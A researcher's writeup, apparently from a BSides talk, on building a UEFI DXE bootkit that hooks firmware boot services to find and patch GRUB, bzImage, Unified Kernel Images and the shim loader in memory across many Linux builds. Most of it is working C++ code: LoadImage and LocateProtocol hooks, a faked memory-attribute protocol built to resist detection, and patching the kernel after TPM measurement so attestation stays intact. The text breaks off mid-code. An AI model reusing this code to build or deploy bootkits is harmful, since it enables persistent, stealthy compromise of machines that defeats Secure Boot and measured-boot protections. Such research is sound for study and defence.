When I first got into UEFI Bootkits, nearly all implementations relied on pattern scanning or hardcoded offsets. This is exceptionally fragile and is prone to breaking on different environments given how much linux installations vary. Since linux is open source, any user can compile a kernel with any set of flags and compilers.
These are my field notes on how I made one DXE Runtime Driver build serve many environments. Some UEFI, kernel development and x86_64 instruction encoding familiarity is expected from the reader.
This research was conducted independently and presented at BSides CWB 2026. This writeup covers implementation details that couldn’t be mentioned live due to time management. It also skips concepts that are assumed to be known by the reader, unlike in the talk where nearly no UEFI experience was assumed for the viewers.
The BDS phase
Before any linux specific logic, identifying the load of a linux-related image (bzImage/Unified Kernel Image) is required to patch through the boot chain and apply each patch. The boot order is often either a bootloader (grub, SystemD Boot, etc) or a bzImage/UKI which is a bootable EFI application itself.
Either way goes through the BootServices function LoadImage, which is called through a pointer in the EFI_BOOT_SERVICES table. To hook this pointer, you have to fix the EFI_TABLE_HEADER crc32 checksum with the new table contents. The image is then started using StartImage, or for some specific bootloaders, this handover is done manually, like the shim loader.
✦My code is in C++. Typically, you’d see gBS where I do g::bs. It’s the same thing.
template<typename func_type>
func_type swap_service_ptr(EFI_TABLE_HEADER *service_header, func_type *service_function,
func_type function)
{
func_type original;
EFI_TPL tpl;
if (service_header == nullptr || service_function == nullptr || function == nullptr)
return nullptr;
tpl = g::bs->RaiseTPL(TPL_HIGH_LEVEL);
original = *service_function;
*service_function = function;
service_header->CRC32 = 0;
g::bs->CalculateCrc32(reinterpret_cast<void *>(service_header), service_header->HeaderSize,
&service_header->CRC32);
g::bs->RestoreTPL(tpl);
return original;
}
To use it:
hooks::efi::original_LoadImage =
swap_service_ptr(&g::bs->Hdr, &g::bs->LoadImage, hooks::efi::LoadImage);
LoadImage writes to *ImageHandle an EFI_HANDLE. We need it to get image base address and length. Let it run:
res = original_LoadImage(BootPolicy, ParentImageHandle, DevicePath, SourceBuffer,
SourceSize, ImageHandle);
if (EFI_ERROR(res)) {
return res;
}
Once loaded, we now query the loaded image using BootServices function HandleProtocol with gEfiLoadedImageProtocolGuid and *ImageHandle:
EFI_LOADED_IMAGE_PROTOCOL *image_protocol;
uintptr_t base;
size_t size;
if (EFI_ERROR(g::bs->HandleProtocol(*ImageHandle, &gEfiLoadedImageProtocolGuid,
reinterpret_cast<void **>(&image_protocol)))) {
/* snip */
}
base = reinterpret_cast<uintptr_t>(image_protocol->ImageBase);
size = image_protocol->ImageSize;
With image base and length in hand, we can identify and patch the binary in-memory. To identify what it is, you can either trust the file name or scan the image for unique signatures. If you need the file path, use the EFI_DEVICE_PATH_TO_TEXT_PROTOCOL function ConvertDevicePathToText on DevicePath:
✦Names can be deceiving, and should only be treated as hints
if (i::device_path_protocol == nullptr) {
res = g::bs->LocateProtocol(&gEfiDevicePathToTextProtocolGuid, nullptr,
reinterpret_cast<void **>(&i::device_path_protocol));
if (EFI_ERROR(res)) {
dbg::print(DEBUG_ERROR, "Couldn't find device path procol\r\n");
return original_LoadImage(BootPolicy, ParentImageHandle, DevicePath, SourceBuffer, SourceSize,
ImageHandle);
}
}
path = i::device_path_protocol->ConvertDevicePathToText(DevicePath, TRUE, TRUE);
path is a CHAR16 string, it is something like: “PciRoot(0x0)/Pci(0x10,0x0)/Scsi(0x0,0x0)/HD(1,GPT,UUID,0x800,0x200000)/\EFI\BOOT\BOOTX64.EFI”. The better option would be to find a unique signature in the binary. That could be a set of strings present in every version or special structures/headers. As aforementioned, shim loader does some things different. They hook system services and boot services functions the same way we do. To add a compatibility layer to it, you’d hook their hooking function and override their hooks in the shim’ local copy of the system services table which they pass manually to images they call, bypassing LoadImage entirely except for some error handling edge cases. This project has unfinished compatibility with shim loader, so this writeup is subject to change.
Identifying and manipulating GRUB
In GRUB, the strings “grub_mod_init”, “grub_mod_fini”, “grub_dl_load_core_noinit” and “grub rescue>” generally suffice as they are uniquely specific to GRUB. For a tighter heuristic, you can also look for “mods” PE section containing the signature “mimg”, though that only exists for certain GRUB builds:
bool heuristic::is_grub(uintptr_t image_base, size_t image_size)
{
static constexpr image_signature<64> signatures[] = {"grub_mod_init", "grub_mod_fini",
"grub_dl_load_core_noinit", "grub rescue>"};
static constexpr size_t max_len = max_sig_len(signatures);
if (image_size >= max_len) {
size_t search_limit = image_size - max_len;
uintptr_t mods_base, mods_size;
for (uintptr_t i = 0; i <= search_limit; i++) {
const char *c = reinterpret_cast<const char *>(image_base + i);
for (const auto &s : signatures) {
if (memcmp(c, s.str, s.len) == 0)
return true;
}
}
if (pe::get_section(image_base, "mods", &mods_base, &mods_size)) {
if (mods_base + 4 < image_base + image_size) {
void *mods_sig_p = reinterpret_cast<void *>(mods_base);
return memcmp(mods_sig_p, "mimg", 4) == 0;
}
}
}
return false;
}
Though GRUB is just a bootloader, it implements various features that may be of your interest. Otherwise, it will proceed to load an operating system through LoadImage as previously discussed. But what features are these I mentioned? Last year, I developed a POC Full-Disk-Encryption key dumping bootkit for FDE done via GRUB’s LUKS cryptodisk module. While it deserves a post of its own, some of the techniques used there is worth covering briefly.
GRUB 2 generates a symbol table that you can use to query symbol addresses for GRUB core image. It’s in alphabetical order and finding this table is as simple as getting strings XREFs and checking if it belongs to a structure coherent with the symtab signature
bool grub::find_symtab()
{
uint8_t *c;
symtab *candidate;
uintptr_t data_end, text_end;
if (!grub::data_section_address || !grub::data_section_size || !grub::text_section_address ||
!grub::text_section_size)
return false;
data_end = (grub::data_section_address + grub::data_section_size);
text_end = (grub::text_section_address + grub::text_section_size);
c = reinterpret_cast<uint8_t *>(grub::data_section_address);
candidate = nullptr;
// GRUB builtin symtab is in alphabetical order, grub_abort is a safe pick
// grub_abort is usually the first entry, but we'll walk backwards so no
// entries are left out
for (size_t i = 0; i < grub::data_section_size - sizeof("grub_abort"); i++) {
// first find string literal, then find XREF to it
if (AsciiStrCmp("grub_abort", reinterpret_cast<const CHAR8 *>(&c[i])) == 0) {
uintptr_t xref = 0;
bool found = false;
// look for the xref
for (size_t j = 0; j < grub::data_section_size - sizeof(uintptr_t); j += sizeof(uintptr_t)) {
if (*reinterpret_cast<uint8_t **>(&c[j]) == &c[i]) {
uintptr_t symbol_addr;
xref = reinterpret_cast<uintptr_t>(&c[j]);
candidate = reinterpret_cast<symtab *>(xref);
// grub_abort is a function
if (!candidate->isfunc) {
candidate = nullptr;
continue;
}
symbol_addr = reinterpret_cast<uintptr_t>(candidate->addr);
// check if symbol is within GRUB's .text
if (symbol_addr < grub::text_section_address || symbol_addr >= text_end) {
candidate = nullptr;
continue;
}
found = true;
break;
}
}
if (found) {
break;
}
}
}
if (candidate == nullptr)
return false;
symtab_count = 1;
// walk backwards to the first symtab entry
do {
symtab *entry;
uintptr_t entry_address;
uintptr_t symbol_address;
uintptr_t name_address;
entry = &candidate[-1];
entry_address = reinterpret_cast<uintptr_t>(entry);
if (entry_address < grub::data_section_address)
break;
if (!entry->name || !entry->addr)
break;
symbol_address = reinterpret_cast<uintptr_t>(entry->addr);
if (entry->isfunc &&
(symbol_address < grub::text_section_address || symbol_address >= text_end))
break;
name_address = reinterpret_cast<uintptr_t>(entry->name);
if (!pt::is_page_present(name_address) || !pt::is_page_present(symbol_address))
break;
symtab_count++;
candidate = &candidate[-1];
} while (true);
// count valid entries forward
do {
symtab *entry;
uintptr_t entry_address;
uintptr_t symbol_address;
uintptr_t name_address;
entry = &candidate[symtab_count];
entry_address = reinterpret_cast<uintptr_t>(entry);
if (entry_address >= data_end - sizeof(symtab))
break;
if (!entry->name || !entry->addr)
break;
symbol_address = reinterpret_cast<uintptr_t>(entry->addr);
if (entry->isfunc &&
(symbol_address < grub::text_section_address || symbol_address >= text_end))
break;
name_address = reinterpret_cast<uintptr_t>(entry->name);
if (!pt::is_page_present(name_address) || !pt::is_page_present(symbol_address))
break;
symtab_count++;
} while (true);
symtab_array = candidate;
return true;
}
To query a symbol,
uintptr_t grub::find_symbol(const char *name)
{
uintptr_t addr = 0;
for (size_t i = 0; i < symtab_count; i++) {
if (AsciiStrCmp(name, symtab_array[i].name) == 0) {
addr = reinterpret_cast<uintptr_t>(symtab_array[i].addr);
break;
}
}
return addr;
}
You can resolve symbol address without needing offsets or AOBs.
Identifying bzImage
This is probably the easiest heuristic of all: bzImage contains a “HdrS” signature at offset 0x202
bool heuristic::is_bzimage(uintptr_t image_base, size_t image_size)
{
uint8_t *c;
if (image_size < 0x206)
return false;
c = reinterpret_cast<uint8_t *>(image_base);
if (memcmp(&c[0x202], "HdrS", 4) != 0)
return false;
return true;
}
Identifying UKI & SystemD stub
Do not confuse SystemD stub with SystemD boot. SystemD boot is a bootloader which ultimately loads an bzImage/UKI/OS through LoadImage. SystemD stub is the main implementation for Unified Kernel Images which embeds a bzImage within. But why are UKIs a thing?
Booting Linux was always messy for developers. UKIs are the natural evolution that enforces measured boot security and a proper protocol for passing initrd, cmdline, splash, etc. TPM measurements are explicitly mentioned by the UKI specs:
On systems with a Trusted Platform Module (TPM) the UEFI boot stub shall measure the sections listed above, starting from the .linux section, in the order as listed (which should be considered the canonical order). The .pcrsig section is not measured.And a .linux section containing bzImage is a hard requirement:
UKIs consist of the following resources: … The Linux kernel in the .linux PE section. Only the .linux section is required for the image to be considered a Unified Kernel Image.Therefore, to detect a valid UKI:
bool heuristic::is_uki(uintptr_t image_base, size_t image_size)
{
uintptr_t contained_bzimage_base, contained_bzimage_size;
if (pe::get_section(image_base, ".linux", &contained_bzimage_base, &contained_bzimage_size))
return true;
return false;
}
And SystemD stub specifically:
bool heuristic::is_systemd_stub(uintptr_t image_base, size_t image_size)
{
static constexpr image_signature<64> signatures[] = {
"systemd/src/boot/stub.c", "systemd.stub.kernel-cmdline-extra", "systemd-stub"};
static constexpr size_t max_str_len = max_sig_len(signatures);
if (image_size >= max_str_len) {
size_t search_limit = image_size - max_str_len;
for (uintptr_t i = 0; i <= search_limit; i++) {
const char *c = reinterpret_cast<const char *>(image_base + i);
for (const auto &s : signatures) {
if (memcmp(c, s.str, s.len) == 0)
return true;
}
}
}
return false;
}
To bypass measurements, we need to patch them post-measurement so PCRs are valid and intact. In SystemD stub, TPM extends occur before changing page protections of the newly mapped bzImage in memory (memory protection is changed at linux_exec):
static EFI_STATUS run(EFI_HANDLE image) {
/* snip */
measure_profile(profile, ¶meters_measured);
measure_sections(loaded_image, sections, §ions_measured);
/* Show splash screen as early as possible, but after measuring it */
display_splash(loaded_image, sections);
refresh_random_seed(loaded_image);
uint8_t boot_secret[BOOT_SECRET_SIZE] = {}; /* all zeroes means: not acquired */
CLEANUP_ERASE(boot_secret);
(void) prepare_boot_secret(loaded_image, sections + UNIFIED_SECTION_OSREL, boot_secret);
uname = pe_section_to_str8(loaded_image, sections + UNIFIED_SECTION_UNAME);
/* Let's now check if we actually want to use the command line, measure it if it was passed in. */
settle_command_line(loaded_image, sections, &cmdline, ¶meters_measured);
/* Now that we have the UKI sections loaded, also load global first and then local (per-UKI)
* addons. The data is loaded at once, and then used later. */
CLEANUP_ARRAY(dt_addons, n_dt_addons, named_addon_free_array);
CLEANUP_ARRAY(initrd_addons, n_initrd_addons, named_addon_free_array);
CLEANUP_ARRAY(ucode_addons, n_ucode_addons, named_addon_free_array);
load_all_addons(image, loaded_image, uname, &cmdline_addons, &dt_addons, &n_dt_addons, &initrd_addons, &n_initrd_addons, &ucode_addons, &n_ucode_addons);
/* If we have any extra command line to add via PE addons, load them now and append, and measure the
* additions together, after the embedded options, but before the smbios ones, so that the order is
* reversed from "most hardcoded" to "most dynamic". The global addons are loaded first, and the
* image-specific ones later, for the same reason. */
cmdline_append_and_measure_addons(cmdline_addons, &cmdline, ¶meters_measured);
cmdline_append_and_measure_smbios(&cmdline, ¶meters_measured);
cmdline_append_console(&cmdline);
export_common_variables(loaded_image);
export_stub_variables(loaded_image, profile);
/* Measure SMBIOS data into PCR 1, unless sd-boot already did so in the same boot (tracked via
* the LoaderPcrSMBIOS EFI variable). */
measure_smbios();
/* First load the base device tree, then fix it up using addons - global first, then per-UKI. */
install_embedded_devicetree(loaded_image, sections, &dt_state);
install_addon_devicetrees(&dt_state, dt_addons, n_dt_addons, ¶meters_measured);
/* Generate & find all initrds */
acquire_previous_initrd(initrds);
generate_sidecar_initrds(loaded_image, initrds, ¶meters_measured, &sysext_measured, &confext_measured);
generate_embedded_initrds(loaded_image, sections, initrds);
generate_boot_secret_initrd(boot_secret, initrds);
lookup_embedded_initrds(loaded_image, sections, initrds);
/* Add initrds in the right order. Generally, later initrds can overwrite files in earlier ones,
* except for ucode, where the kernel uses the first matching embedded filename.
* We want addons to take precedence over the base initrds, so the order is:
* 1. Ucode addons
* 2. UKI ucode
* 3. Previous initrds
* 4. UKI initrd
* 5. Generated initrds
* 6. initrd addons */
measure_and_append_ucode_addons(&all_initrds, &n_all_initrds, ucode_addons, n_ucode_addons, ¶meters_measured);
extend_initrds(initrds, &all_initrds, &n_all_initrds);
measure_and_append_initrd_addons(&all_initrds, &n_all_initrds, initrd_addons, n_initrd_addons, ¶meters_measured);
/* Export variables indicating what we measured */
export_pcr_variables(sections_measured, parameters_measured, sysext_measured, confext_measured);
/* Combine the initrds into one */
_cleanup_pages_ Pages initrd_pages = {};
struct iovec final_initrd = {};
if (n_all_initrds > 1) {
/* If there is more then 1 initrd we need to combine them */
err = combine_initrds(all_initrds, n_all_initrds, &initrd_pages, &final_initrd.iov_len);
if (err != EFI_SUCCESS)
return err;
final_initrd.iov_base = PHYSICAL_ADDRESS_TO_POINTER(initrd_pages.addr);
/* Given these might be large let's free them explicitly before we pass control to Linux */
initrds_free(&initrds);
} else if (n_all_initrds == 1)
final_initrd = all_initrds[0];
struct iovec kernel = IOVEC_MAKE(
(const uint8_t*) loaded_image->ImageBase + sections[UNIFIED_SECTION_LINUX].memory_offset,
sections[UNIFIED_SECTION_LINUX].memory_size);
err = linux_exec(image, cmdline, &kernel, &final_initrd);
graphics_mode(false);
return err;
}
linux_exec changes the now measured bzImage mapping protection using EFI_MEMORY_ATTRIBUTE_PROTOCOL through a wrapper function memory_mark_ro_x:
EFI_STATUS linux_exec(EFI_HANDLE parent_image,
const char16_t *cmdline,
const struct iovec *kernel,
const struct iovec *initrd) {
size_t kernel_size_in_memory = 0;
uint32_t compat_entry_point, entry_point, section_alignment;
EFI_STATUS err;
/* snip */
/* Not a code section? Nothing to do, leave as-is. */
if (memory_proto && (h->Characteristics & (PE_CODE|PE_EXECUTE))) {
/* Record the section for cleanup before marking it RO+X: if memory_mark_ro_x()
* fails after partially applying the attributes, cleanup still reverts them. */
nx_restore.sections = xrealloc(nx_restore.sections, nx_restore.n_sections * sizeof(struct iovec), (nx_restore.n_sections + 1) * sizeof(struct iovec));
nx_restore.sections[nx_restore.n_sections++] = IOVEC_MAKE(loaded_kernel + h->VirtualAddress, h->VirtualSize);
err = memory_mark_ro_x(memory_proto, &nx_restore.sections[nx_restore.n_sections - 1]);
if (err != EFI_SUCCESS)
return err;
}
/* snip */
}
static EFI_STATUS memory_mark_ro_x(EFI_MEMORY_ATTRIBUTE_PROTOCOL *memory_proto, struct iovec *nx_section) {
EFI_STATUS err;
assert(memory_proto);
assert(nx_section);
/* As per MSFT requirement, memory pages need to be marked W^X, so mark code pages RO+X.
* Firmwares will start enforcing this at some point in the near-ish future.
* The kernel needs to mark this as supported explicitly, otherwise it will crash.
* https://microsoft.github.io/mu/WhatAndWhy/enhancedmemoryprotection/
* https://www.kraxel.org/blog/2023/12/uefi-nx-linux-boot/ */
err = memory_proto->SetMemoryAttributes(memory_proto, POINTER_TO_PHYSICAL_ADDRESS(nx_section->iov_base), nx_section->iov_len, EFI_MEMORY_RO);
if (err != EFI_SUCCESS)
return log_error_status(err, "Cannot make kernel image read-only: %m");
err = memory_proto->ClearMemoryAttributes(memory_proto, POINTER_TO_PHYSICAL_ADDRESS(nx_section->iov_base), nx_section->iov_len, EFI_MEMORY_XP);
if (err != EFI_SUCCESS)
return log_error_status(err, "Cannot make kernel image executable: %m");
return EFI_SUCCESS;
}
So if we hook LocateProtocol to return a fake copy protocol with hooked SetMemoryAttributes, we get the measured bzImage pointer before read only protection.
switch (loaded_image_type) {
/* snip */
case SYSTEMD_STUB_UKI:
case STUB_UKI:
uki_image_base = base;
uki_image_end = base + size;
original_LocateProtocol = swap_service_ptr(&g::bs->Hdr, &g::bs->LocateProtocol, hooks::efi::LocateProtocol);
g::state |= loaded_image_type == STUB_UKI ? UKI_LOADED : SYSTEMD_STUB_LOADED;
dbg::print(DEBUG_INFO, "Hooked LocateProtocol to fake EFI_MEMORY_ATTRIBUTE_PROTOCOL for UKI stub\r\n");
break;
}
In my hook I return a shadow protocol table with additional hooks. I also discovered by losing a night of sleep that vmware didn’t implement EFI_MEMORY_ATTRIBUTE_PROTOCOL. My code assumed it did, so no errors were being reported. Bummer.
EFI_STATUS EFIAPI hooks::efi::LocateProtocol(EFI_GUID *Protocol, VOID *Registration,
VOID **Interface)
{
static EFI_MEMORY_ATTRIBUTE_PROTOCOL *memory_proto;
static bool table_properly_hooked;
uintptr_t return_address;
EFI_STATUS res;
if (!Protocol || !Interface || !CompareGuid(Protocol, &gEfiMemoryAttributeProtocolGuid))
return original_LocateProtocol(Protocol, Registration, Interface);
// ensure we got called from within UKI
return_address = reinterpret_cast<uintptr_t>(__builtin_return_address(0));
if (return_address < uki_image_base || return_address > uki_image_end)
return original_LocateProtocol(Protocol, Registration, Interface);
// allocate shadow, avoid patching original table
if (memory_proto == nullptr) {
res = g::bs->AllocatePages(AllocateAnyPages, EfiBootServicesData,
EFI_SIZE_TO_PAGES(sizeof(EFI_MEMORY_ATTRIBUTE_PROTOCOL)),
reinterpret_cast<EFI_PHYSICAL_ADDRESS *>(&memory_proto));
if (EFI_ERROR(res)) {
dbg::print(DEBUG_ERROR, "Failed to allocate shadow EFI_MEMORY_ATTRIBUTE_PROTOCOL\r\n");
return original_LocateProtocol(Protocol, Registration, Interface);
}
}
// get original table to copy from
res = original_LocateProtocol(Protocol, Registration, Interface);
// vmware and other old firmware don't implement this, so just fake one with nullstubs.
// we do that because SystemD stub hands us bzImage code section pointer and size post
// TPM extend and remapping, so we can simply patch it there
if (EFI_ERROR(res)) {
if (res != EFI_NOT_FOUND) {
dbg::print(DEBUG_ERROR, "LocateProtocol failed for EFI_MEMORY_ATTRIBUTE_PROTOCOL (%r)\r\n",
res);
return res;
}
dbg::print(DEBUG_INFO, "EFI_MEMORY_ATTRIBUTE_PROTOCOL not implemented, faking one\r\n");
memory_proto->ClearMemoryAttributes = ClearMemoryAttributes_nullstub;
memory_proto->GetMemoryAttributes = GetMemoryAttributes_nullstub;
memory_proto->SetMemoryAttributes = hooks::efi::SetMemoryAttributes;
original_SetMemoryAttributes = SetMemoryAttributes_nullstub;
*Interface = memory_proto;
return EFI_SUCCESS;
}
if (!table_properly_hooked) {
CopyMem(memory_proto, *Interface, sizeof(EFI_MEMORY_ATTRIBUTE_PROTOCOL));
original_SetMemoryAttributes = memory_proto->SetMemoryAttributes;
memory_proto->SetMemoryAttributes = hooks::efi::SetMemoryAttributes;
dbg::print(DEBUG_INFO, "Spoofed EFI_MEMORY_ATTRIBUTE_PROTOCOL\r\n");
}
table_properly_hooked = true;
*Interface = memory_proto;
return res;
}
The nullstubs were literally that, they did nothing:
static EFI_STATUS EFIAPI GetMemoryAttributes_nullstub(EFI_MEMORY_ATTRIBUTE_PROTOCOL *This,
EFI_PHYSICAL_ADDRESS BaseAddress,
UINT64 Length, UINT64 *Attributes)
{
// standard verifications, makes it very slightly harder to detect its a nullstub
// if someone calls this with bogus parameters
if (!IS_ALIGNED(BaseAddress, EFI_PAGE_SIZE)) {
return EFI_UNSUPPORTED;
}
if (!IS_ALIGNED(Length, EFI_PAGE_SIZE)) {
return EFI_UNSUPPORTED;
}
if (Length == 0) {
return RETURN_INVALID_PARAMETER;
}
if (Attributes == NULL) {
return EFI_INVALID_PARAMETER;
}
// placeholder, I might change to reflect reality
*Attributes = EFI_MEMORY_RP;
return EFI_SUCCESS;
}
static EFI_STATUS SetMemoryAttributes_nullstub(EFI_MEMORY_ATTRIBUTE_PROTOCOL *This,
EFI_PHYSICAL_ADDRESS BaseAddress, UINT64 Length,
UINT64 Attributes)
{
// standard verifications, makes it very slightly harder to detect its a nullstub
// if someone calls this with bogus parameters
if (Attributes == 0) {
return EFI_INVALID_PARAMETER;
}
if ((Attributes & ~EFI_MEMORY_ACCESS_MASK) != 0) {
return EFI_INVALID_PARAMETER;
}
if (Length == 0) {
return RETURN_INVALID_PARAMETER;
}
return EFI_SUCCESS;
}
static EFI_STATUS EFIAPI ClearMemoryAttributes_nullstub(EFI_MEMORY_ATTRIBUTE_PROTOCOL *This,
EFI_PHYSICAL_ADDRESS BaseAddress,
UINT64 Length, UINT64 Attributes)
{
// standard verifications, makes it very slightly harder to detect its a nullstub
// if someone calls this with bogus parameters
if (Attributes == 0) {
return EFI_INVALID_PARAMETER;
}
if ((Attributes & ~EFI_MEMORY_ACCESS_MASK) != 0) {
return EFI_INVALID_PARAMETER;
}
if (Length == 0) {
return RETURN_INVALID_PARAMETER;
}
return EFI_SUCCESS;
}
The actual SetMemoryAttributes hook verifies if BaseAddress contains same data as the embedded bzImage, then proceeds with bzImage hooking which I will explain next:
EFI_STATUS EFIAPI hooks::efi::SetMemoryAttributes(EFI_MEMORY_ATTRIBUTE_PROTOCOL *This,
EFI_PHYSICAL_ADDRESS BaseAddress, UINT64 Length,
UINT64 Attributes)
{
uint8_t *c;
void *sig;
UINT64 count;
uintptr_t return_address;
uintptr_t _linux_section;
size_t _linux_size;
bool is_bzimage;
// ensure we got called from within UKI
return_address = reinterpret_cast<uintptr_t>(__builtin_return_address(0));
if (return_address < uki_image_base || return_address > uki_image_end)
return original_SetMemoryAttributes(This, BaseAddress, Length, Attributes);
// SystemD stub sets EFI_MEMORY_RO, then calls ClearMemoryAttributes with EFI_MEMORY_XP:
// https://github.com/systemd/systemd/blob/77b9a626ce0a79858d946ac73f4950e9e4c6f28a/src/boot/linux.c#L116
if (!(Attributes & EFI_MEMORY_RO))
return original_SetMemoryAttributes(This, BaseAddress, Length, Attributes);
// we are in linux_exec, after TPM measurements and before handover. verify that BaseAddress is
// bzImage code, then patch before RO protection. count must be long enough for an unique
// signature
// https://github.com/systemd/systemd/blob/e3a224a46dea61b861d3f6ea79ad4abb0fab4b3a/src/boot/stub.c#L1310
// https://github.com/systemd/systemd/blob/e3a224a46dea61b861d3f6ea79ad4abb0fab4b3a/src/boot/linux.c#L336
count = MIN(Length, 128);
if (count < 32 /* not long enough */)
return original_SetMemoryAttributes(This, BaseAddress, Length, Attributes);
// shouldn't ever be possible, just in case
if (!pe::get_section(uki_image_base, ".linux", &_linux_section, &_linux_size))
return original_SetMemoryAttributes(This, BaseAddress, Length, Attributes);
if (_linux_size < count)
return original_SetMemoryAttributes(This, BaseAddress, Length, Attributes);
// finally, check if it is bzImage or not
c = reinterpret_cast<uint8_t *>(_linux_section);
sig = reinterpret_cast<void *>(BaseAddress);
is_bzimage = false;
for (size_t i = 0; i < _linux_size - count; i++) {
if (CompareMem(&c[i], sig, count) == 0) {
is_bzimage = true;
break;
}
}
if (is_bzimage) {
uint8_t reg;
dbg::print(DEBUG_INFO, "looking for enter_kernel...\r\n");
for (size_t i = 0; i < Length; i++) {
if (heuristic::is_enter_kernel(BaseAddress + i, ®)) {
dbg::print(DEBUG_INFO, "found enter_kernel at %Lx\r\n", BaseAddress + i);
hooks::bzimage::try_hook_enter_kernel(BaseAddress + i, reg);
break;
}
}
}
return original_SetMemoryAttributes(This, BaseAddress, Length, Attributes);
}
is_enter_kernel is a heuristic function checking whether BaseAddress + i points to a enter_kernel jump. This is version specific, hence a heuristic rather than pattern scanning. Explanation and details later.
SHIM
As aforementioned, shim loader (shimx64.efi) does various things different and its purpose is to enforce secure boot and TPM. It ships in most distros supporting Secure Boot, being signed with Microsoft’s key. The shim loader hooks LoadImage, StartImage, and UnloadImage, runs TPM measurements over loaded images, and implements manual handover to images passing a local copy of the system services table with BootServices hooked.
If you simply patch within LoadImage, TPM will catch you (true for shim loader specifically, as it compares post-loading). You would need to hook the shim’ handover, typically a CALL to a stack-relative function pointer or register in a custom function called start_image or shim_start_image
To find hook_system_services and unhook_system_services without symbols:
- Locate
lea reg, "shim_init"(invariant of perror expansion) or “set_second_stage() failed: %r\n” (both unique toshim_init) - Walk up to 384 bytes of
E8calls from the foundlea. It’s sufficient to catchcall hook_system_servicesand possiblyshim_fini’call unhook_system_servicesas they are usually adjacent. For each destination, inspect 128 bytes (Debian’ shimx64.efihook_system_servicesare both ~96 bytes each, for reference) formovs with displacement equal to offset ofLoadImage,UnloadImageandStartImagein Boot Services table. - If
shim_finiis not adjacent, previous logic will just catchhook_system_services. Find a LEA toL"ShimRetainProtocol", unique toefi_main, a caller ofshim_fini. WalkE8calls forward untilinit_grub, the following call isshim_fini, which callsunhook_system_services.
To identify if E8 is calling init_grub, find LEAs to string exclusive to init_grub. within ~600 bytes you should see a lea reg, "start_image() returned %r\n", however, this function also calls a static function first which could be inlined, messing up this search radius. That function is should_use_fallback, and init_grub is the only caller. In that case, do an early check for lea reg, "should_use_fallback". That string reference comes from the expansion of perror, which ends inlined in init_grub up to typically 160 bytes in the function.
uint8_t *f = reinterpret_cast<uint8_t *>(destination);
uintptr_t destination2;
// REX with W bit + LEA
if (!P_IS_REX(f[j]) || !(f[j] & P_W_BIT) || f[j + 1] != 0x8D)
continue;
disp32 = *reinterpret_cast<int32_t *>(&f[j + 3]);
destination2 = destination + j + 7 + disp32;
if (destination2 < shim_base || destination2 > (shim_base + shim_size) - 20)
continue;
// still in range for a realistic inlined should_use_fallback. perror expands a string
// containing the function name, test for it
if (j < 160 &&
!AsciiStrCmp("should_use_fallback", reinterpret_cast<CHAR8 *>(destination2))) {
init_grub_found = true;
i += 4; // 4, since i++ will make it 5 to skip this E8 ?? ?? ?? ??
break;
}
if (!AsciiStrCmp("start_image() returned %r\n", reinterpret_cast<CHAR8 *>(destination2))) {
init_grub_found = true;
i += 4; // 4, since i++ will make it 5 to skip this E8 ?? ?? ?? ??
break;
}
To test if the current instruction is accessing a disp (matching first if f[j] points to first byte of the encoded displacement in the mov instruction:
static constexpr auto loadimage_offset = offsetof(EFI_BOOT_SERVICES, LoadImage);
static constexpr auto unloadimage_offset = offsetof(EFI_BOOT_SERVICES, UnloadImage);
static constexpr auto startimage_offset = offsetof(EFI_BOOT_SERVICES, StartImage);
// ...
auto is_accessing_disp = [&](uint8_t *code, int32_t offset, bool is_disp32) -> bool {
int32_t disp;
uint8_t rex;
uint8_t modrm;
uint8_t mod;
uint8_t rm;
uint8_t sib;
bool assume_sib = false;
if (offset != 0) {
if (is_disp32) {
disp = *reinterpret_cast<int32_t *>(code);
if (disp != offset)
return false;
}
else {
disp = *reinterpret_cast<int8_t *>(code);
if (disp != static_cast<int8_t>(offset))
return false;
}
}
// 8B for reads, 89 for writes
if (code[-3] == 0x8B || code[-3] == 0x89) {
assume_sib = true;
}
else if (code[-2] != 0x8B && code[-2] != 0x89)
return false;
rex = code[assume_sib ? -4 : -3];
if (!P_IS_REX(rex))
return false;
if (!(rex & P_W_BIT) || (rex & P_X_BIT))
return false;
modrm = code[assume_sib ? -2 : -1];
mod = modrm >> 6;
rm = modrm & 0b111;
// rm says it has SIB
if (rm == 4) {
// nonsensical
if (!assume_sib)
return false;
// not RSP relative
if (rex & P_B_BIT)
return false;
}
// reg to reg, not what we want
if (mod == 0b11)
return false;
// mismatch, mod 1 implies disp8 (and disp32 when 2)
if (mod == 0b01 && is_disp32)
return false;
if (mod == 0b10 && !is_disp32)
return false;
// displacement 0 or rip relative
if (mod == 0b00 && ((offset != 0) || rm == 5))
return false;
if (assume_sib) {
sib = code[-1];
// fixed offset
if ((sib & 0b111000) != 0b100000)
return false;
}
if (code[assume_sib ? -3 : -2] == 0x89)
is_writing = true;
else
is_writing = false;
return true;
};
And in the hook/unhook identification loop:
mask = 0;
for (int j = 4; j < 128 - 8; j++) {
uint8_t *f = reinterpret_cast<uint8_t *>(destination);
is_writing = false;
// looks like the end of the function? weakest heuristic yet, would checking
// other valid E8 calls to deduce function boundaries be worth the effort?
// 128 is hardly ever sufficient to cover both functions even when adjacent.
// in Debian signed shimx64, both functions are roughly 96-100 bytes each. we
// iterate over 128 bytes so the search size itself makes this more reliable.
if (f[j] == 0xC3) {
// endbr64
if (memcmp(&f[j + 1], "\xF3\x0F\x1E\xFA", 4) == 0)
break;
// last thing unhook_system_services does is an assignment, hook_system_services too.
// could be lea + mov or mov to global var. cover both by checking if last 4 bytes look
// like a valid disp32 or a mov [reg], some_other_reg
// https://github.com/rhboot/shim/blob/4dc4a1bf85542706d345230eb72a0e52d6f0c452/loader-proto.c#L36
// https://github.com/rhboot/shim/blob/4dc4a1bf85542706d345230eb72a0e52d6f0c452/loader-proto.c#L502
if (j >= sizeof(int32_t)) {
uintptr_t destination2;
disp32 = *reinterpret_cast<int32_t *>(&f[-4]);
destination2 = destination + j + disp32;
if (destination2 >= shim_base && destination2 < shim_base + shim_size)
break;
if (P_IS_REX(f[j - 3]) && !(f[j - 3] & P_X_BIT)) {
if (f[j - 2] == 0x89) {
uint8_t modrm = f[j - 1];
uint8_t mod = modrm >> 6;
uint8_t rm = modrm & 0b111;
// [reg], no offset or rip relative
if (mod == 0b00 && rm != 5)
break;
}
}
}
}
// precedence of uint32_t check over uint8_t as the order could give false
// matches in the 2 different variations we verify (sorry for the ugly code)
if (is_accessing_disp(&f[j], static_cast<int32_t>(loadimage_offset), true)) {
mask |= 0b001 << (is_writing ? 3 : 0);
}
else if (is_accessing_disp(&f[j], static_cast<int8_t>(loadimage_offset), false)) {
mask |= 0b001 << (is_writing ? 3 : 0);
}
